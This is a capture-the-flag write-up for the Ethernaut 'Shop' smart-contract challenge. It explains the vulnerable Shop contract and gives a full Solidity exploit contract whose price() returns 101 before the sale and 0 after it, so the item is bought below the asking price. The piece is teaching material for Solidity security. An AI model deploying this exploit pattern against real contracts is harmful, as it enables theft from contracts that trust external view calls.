Writeup for Shop

  • Hello h4ck3r, welcome to the world of smart contract hacking. Solving the challenges from Ethernaut will help you understand Solidity better. Each challenge involves deploying a contract and exploiting its vulnerabilities. If you’re new to Solidity and haven’t deployed a smart contract before, you can learn how to do so using Remix here.

Challenge Description

Can you get the item from the shop for less than the price asked?

Things that might help:

  • Shop expects to be used from a Buyer
  • Understanding restrictions of view functions

Contract Explanation

If you understand the contract, you can move on to the exploit part. If you’re a beginner, please read the Contract Explanation to gain a better understanding of Solidity.

Click to view source contract
        
 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.8.0;
 3
 4interface Buyer {
 5    function price() external view returns (uint256);
 6}
 7
 8contract Shop {
 9    uint256 public price = 100;
10    bool public isSold;
11
12    function buy() public {
13        Buyer _buyer = Buyer(msg.sender);
14
15        if (_buyer.price() >= price && !isSold) {
16            isSold = true;
17            price = _buyer.price();
18        }
19    }
20}
The contract has two state variables named price and isSold. price is of type uint256 and it is initialized to 100, while isSold is of type bool.

1function buy() public {
2    Buyer _buyer = Buyer(msg.sender);
3
4    if (_buyer.price() >= price && !isSold) {
5        isSold = true;
6        price = _buyer.price();
7    }
8}

The function buy() initializes the variable _buyer of type Buyer interface with msg.sender. It then checks if the price offered by the buyer is greater than or equal to the current price and if the item has not been sold yet. If both conditions are met, the item is marked as sold and the price is updated to the buyer’s price.

Exploit

1function buy() public {
2    Buyer _buyer = Buyer(msg.sender);
3
4    if (_buyer.price() >= price && !isSold) {
5        isSold = true;
6        price = _buyer.price();
7    }
8}

If we see the buy() function, in the if condition, it will check if the buyer’s price is more than the current price or not. But the buyer’s price is taken by making a call to the buyer. Once the conditions are satisfied, then it sets isSold to true and it sets the price by again making a call to the buyer.

So in our exploit contract, if we somehow return the price value >100 for the first time it is called and if we return a value less than <100 for the second time it is called, then our challenge will be solved.

But if we check the Buyer interface, we can find that price() is a view-only function, which means we cannot make any state changes in the price() function.

Once the if condition in buy() is satisfied, then isSold is set to true and then the price value is fetched from the buyer. Since price() function is a view function, we can check if isSold is true or false before returning the price. Based on that, we can write the exploit contract. Below is the exploit contract.

 1
 2// SPDX-License-Identifier: MIT
 3pragma solidity ^0.8.0;
 4
 5interface Ishop{
 6    function isSold() external view returns (bool);
 7    function buy()external;
 8}
 9
10contract ExploitShop{
11    Ishop shop;
12    constructor(address _addr){
13        shop=Ishop(_addr);
14    }
15
16    function Exploit()public{
17        shop.buy();
18    }
19
20    function price() external view returns(uint256){
21        if(shop.isSold()){
22            return 0;
23        }
24        return 101;
25    }
26}

If we see the price() function in our exploit contract, first it will check if the item is sold or not. If the item is sold, it will return 0, otherwise it will return 101.

Once we call the Exploit() function, our challenge will be solved.

Key Takeaways

We should be careful when the logic in our contract is dependent on other contract calls. In this case, if the price() function is a pure function instead of a view function, then the function won’t be able to read state variables from other contracts.

***Hope you enjoyed this write-up. Keep on hacking and learning!***